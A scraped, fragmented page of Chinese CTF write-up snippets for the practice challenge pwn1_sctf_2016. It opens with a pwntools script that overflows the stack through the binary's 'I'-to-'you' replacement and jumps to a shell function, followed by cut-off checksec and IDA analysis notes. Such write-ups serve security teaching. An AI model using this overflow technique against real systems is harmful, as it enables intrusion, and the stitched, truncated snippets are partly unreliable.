frompwnimport* #p=process('./pwn1') p=remote('node4.buuoj.cn',26474) payload=b'I'*20+b'a'*4+p32(0x8048f0d) p.sendline(payload) p.interactive()
拿到题目首先先运行。 我们发现他是将我们输入的重新输出出来,但是第二次运行时,我输入超长字符串后,仅仅只是输出了一部分,所以我们可以猜测程序中应该有检测长度的部分,我们再检查一下保护机制。 我们发现仅仅只是开了一个nx保护,那么我们直接看IDA 我们发现主函数中仅仅只是调用了vuln函数,而vuln函数中的前半段我们...
下载得到 pwn1,利用file命令查看。 或者可以采用checksec ./filename命令进行探测。//查看当前二进制文件的指令架构以及采取了哪些保护机制。 对于checksec命令安装,可以直接选择安装pwntools(内置checksec命令) sudo pip install pwntools#或者选择直接下载git clone https://github.com/slimm609/checksec.sh 具体指令架构...
执行一下 似乎出现第一个i被替换成you 检查一下保护机制 丢到ida里面 输入的变量s大小为0x3c,但是我们看fgets里面,我们只能输入32个字符,没法进行溢出, 我们在输入的时候,会发现i会被替换成you,所以我们可以利用20个i来填充, 找到shell,地址为0x8048F0D 返回地址再
RELRO: Partial RELRO Stack: No canary found NX: NX enabled#//栈不可执行PIE: No PIE IDA int__cdeclmain(intargc,constchar**argv,constchar**envp){ vuln();return0; } intvuln(){constchar*v0;// eaxchars;// [esp+1Ch] [ebp-3Ch]charv3;// [esp+3Ch] [ebp-1Ch]charv4;// [esp+40...
pwn1_sctf_2016 检查文件的保护措施 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 32位程序,开了nx保护,ida分析 in